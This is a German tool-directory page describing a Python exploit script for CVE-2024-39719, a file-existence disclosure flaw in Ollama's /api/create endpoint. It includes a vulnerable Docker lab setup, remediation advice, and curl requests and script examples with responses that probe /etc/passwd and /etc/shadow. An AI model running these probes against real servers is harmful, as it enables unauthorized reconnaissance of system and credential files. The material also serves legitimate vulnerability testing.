Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-39719 — Python-Exploit-Skript für CVE-2024-39719, eine Schwachstelle zur Offenlegung der Dateiexistenz in Ollama. Testet API-Endpunkte, um Server-Dateipfade zu erkennen, und unterstützt bei Schwachstellenanalyse und Penetrationstests. | Kitploit
Tools/GitHubGitHub/srcx404/cve-2024-39719
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsLernen & Bildung
GitHubsrcx404/cve-2024-39719

CVE-2024-39719

Python-Exploit-Skript für CVE-2024-39719, eine Schwachstelle zur Offenlegung der Dateiexistenz in Ollama. Testet API-Endpunkte, um Server-Dateipfade zu erkennen, und unterstützt bei Schwachstellenanalyse und Penetrationstests.

Repository anzeigen
2vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Analyse der Offenlegung von Dateiexistenz-Schwachstellen in Ollama (CVE-2024-39719)

中文

Schwachstellenübersicht

CVE-2024-39719 ist eine Schwachstelle zur Offenlegung von Dateiexistenz, die Ollama-Versionen 0.3.14 und früher betrifft. Diese Schwachstelle ermöglicht es Angreifern, die Existenz bestimmter Dateien auf dem Server über einen API-Endpunkt zu erkennen, was potenziell zu Informationslecks führen kann.

Veröffentlichungsdatum: 31. Oktober 2024

Details zur Schwachstelle

Ursache

Die Schwachstelle befindet sich im /api/create-Endpunkt von Ollama. Wenn ein Angreifer die CreateModel-API mit einem Pfadparameter aufruft, gibt der Server je nach Existenz des Pfades unterschiedliche Fehlermeldungen zurück. Dieses Verhalten ermöglicht es einem Angreifer, durch Analyse der Fehlermeldungen festzustellen, ob eine bestimmte Datei oder ein Verzeichnis auf dem Server existiert.

Das Kernproblem ist, dass das System bei der Verarbeitung von Benutzereingaben direkt Dateisystemfehler an den Client weitergibt, anstatt Informationen über die Existenz von Pfaden ordnungsgemäß zu verbergen.

Betroffene Versionen

Diese Schwachstelle betrifft alle Versionen von Ollama bis einschließlich 0.3.14.

Auswirkungen

Obwohl eine Schwachstelle zur Offenlegung von Dateiexistenz zunächst weniger schwerwiegend erscheinen mag, kann sie:

  1. Als erster Schritt bei komplexeren Angriffen dienen und Angreifern helfen, Serverinformationen zu sammeln
  2. Verwendet werden, um das Vorhandensein kritischer Konfigurationsdateien, Zertifikate oder sensibler Datendateien zu erkennen
  3. Angreifern dabei helfen, gezieltere Angriffe durchzuführen
  4. In bestimmten Umgebungen zu Informationslecks führen, z. B. durch Bestätigung der Existenz bestimmter Benutzer oder Systemmerkmale

Reproduktion der Schwachstelle

Umgebungseinrichtung

  1. Erstellen Sie eine anfällige Ollama-Umgebung mit der folgenden Docker-Compose-Datei:
root@kitploit:~
services:
  ollama:
    image: ollama/ollama:0.3.14
    container_name: ollama
    volumes:
      - ollama:/root/.ollama
    ports:
      - "11434:11434"

volumes:
  ollama:
  1. Starten Sie den Dienst:
root@kitploit:~
docker compose up -d
  1. Nachdem der Dienst gestartet ist, können Sie bestätigen, dass Ollama 0.3.14 läuft, indem Sie auf http://your-ip:11434/ zugreifen.

Reproduktionsschritte

1. Testen von nicht existierenden Dateien

Senden Sie eine Anfrage mit curl, um zu versuchen, auf eine nicht existierende Datei zuzugreifen:

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'

Antwort:

root@kitploit:~
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}

2. Testen von vorhandenen Dateien

Testen Sie eine vorhandene Datei, z. B. /etc/passwd:

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'

Antwort:

root@kitploit:~
{"error":"no FROM line for the model was specified"}

Durch Analyse dieser unterschiedlichen Fehlermeldungen kann ein Angreifer feststellen, ob ein Zielpfad existiert oder nicht, und erhält so Informationen über die Dateistruktur des Servers. Beachten Sie, dass die vom Server zurückgegebenen Informationen je nach Version variieren können.

Behebung der Schwachstelle

Offizieller Fix

Ollama hat diese Schwachstelle in neueren Versionen behoben. Die Korrekturen umfassen:

  1. Standardisierung der Fehlerbehandlung, um das Durchsickern von Dateiexistenzinformationen zu vermeiden
  2. Implementierung strengerer Validierung und Filterung von benutzerdefinierten Pfaden
  3. Verwendung allgemeinerer Fehlermeldungen, die keine Dateisysteminformationen direkt preisgeben

Empfohlene Schritte zur Behebung

  1. Ollama aktualisieren: Die effektivste Lösung ist die Aktualisierung auf die neueste Version von Ollama.
  2. Zugriffskontrolle: Beschränken Sie den Zugriff auf API-Endpunkte, sodass nur autorisierte Benutzer zugreifen können.
  3. Netzwerkisolation: Wenn möglich, stellen Sie Ollama-Dienste in isolierten Netzwerken bereit, um den externen Zugriff zu reduzieren.
  4. Überwachung: Verbessern Sie die Überwachung von API-Aufrufen, insbesondere mit Fokus auf die Erkennung ungewöhnlicher Zugriffsmuster auf den /api/create-Endpunkt.

Verwendung des Exploit-Skripts

Das bereitgestellte Python-Skript ermöglicht es Ihnen zu testen, ob ein Ollama-Server anfällig für CVE-2024-39719 ist.

Voraussetzungen

  • Python 3.x
  • Erforderliche Pakete: requests, termcolor

Installation

root@kitploit:~
pip install requests termcolor

Verwendung

root@kitploit:~
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]

Optionen

  • -u, --url: URL des Ollama-Servers (erforderlich)
  • -f, --file: Zu prüfende Datei auf Existenz (Standard: "/etc/passwd")

Beispiele

root@kitploit:~
# Prüfen, ob ein Server anfällig ist
python CVE_2024_39719.py -u http://your-ip:11434

# Prüfen, ob eine bestimmte Datei existiert
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow

Referenzen

  • CVE-2024-39719 in der National Vulnerability Database
  • Ollama GitHub Repository
  • Ollama-Sicherheitshinweise

Haftungsausschluss

Dieses Skript dient ausschließlich zu Bildungszwecken und für legitime Sicherheitstests. Stellen Sie immer sicher, dass Sie die entsprechende Genehmigung haben, bevor Sie ein System auf Schwachstellen testen. Nicht autorisierte Tests können gegen Gesetze und Vorschriften verstoßen.

Tool herunterladen